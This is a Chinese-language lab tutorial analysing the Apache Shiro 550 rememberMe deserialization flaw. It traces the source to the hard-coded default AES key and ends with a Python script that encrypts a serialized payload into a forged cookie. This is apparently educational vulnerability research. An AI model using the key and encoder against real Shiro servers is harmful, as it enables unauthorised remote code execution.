前篇进行了shiro550的IDEA配置,本篇就来通过urldns链来检测shiro550反序列化的存在
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
Apache Shiro <= 1.2.4
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
看完基本原理应该也不难发现,shiro反序列化主要就是对cookie进行的一系列操作,所以利用点就从Cookie有关的说起:
在shiro
原生文件中找到了CookieRememberMeManager.java
对cookie中的字段进行管理,其中有个rememberSerializedIdentity()
,可以对remember认证信息进行序列化
既然有了对认证信息的操作,就需要获取认证信息找到了getRememberedSerializedIdentity()
,主要是对cookie进行base64解密操作
继续寻找在哪里进行了调用,找到了AbstractRememberMeManager.java
的getRememberedPrincipals()
其中会调用convertBytesToPrincipals()
,进行字节和认证信息转换,跟进一下
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
if中进行了decrypt
解密操作,最后返回反序列化内容,跟进一下decrypt()
,看看具体执行了什么
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
getCipherService()
,获取算法再通过decrypt
()对通过getDecryptionCipherKey()
获取的key进行解密,跟进getDecryptionCipherKey()
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}
返回了decryptionCipherKey
,看下它是在哪里赋的值
再看哪里调用了setDecryptionCipherKey()
,找到了setCipherKey()
继续向上找最终找到了AbstractRememberMeManager()
,而它的DEFAULT_CIPHER_KEY_BYTES
是一个固定值
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
至此也就相当于找到了解aes的秘钥,为我们的cookie的构造创造了条件
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
接着回到convertBytesToPrincipals()
,跟进deserialize()
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
接着跟进deserialize()
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return getSerializer().deserialize(serializedIdentity);
}
最终就到了readObject
执行反序列化
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}
用脚本将序列化生成的文件1.txt
进行aes加密
import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file(filename):
with open(filename,'rb') as f:
data = f.read()
return data
def aesEncode(data):
BS = AES.block_size
pad = lambda s: s + ((BS-len(s)%BS)) * chr(BS-len(s)%BS).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key),mode,iv)
ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
return ciphertext
def aesDecode(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s:s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key),mode,iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if __name__ == '__main__':
data = get_file("1.txt")
print(aesEncode(data))
生成后传入cookie中,成功回显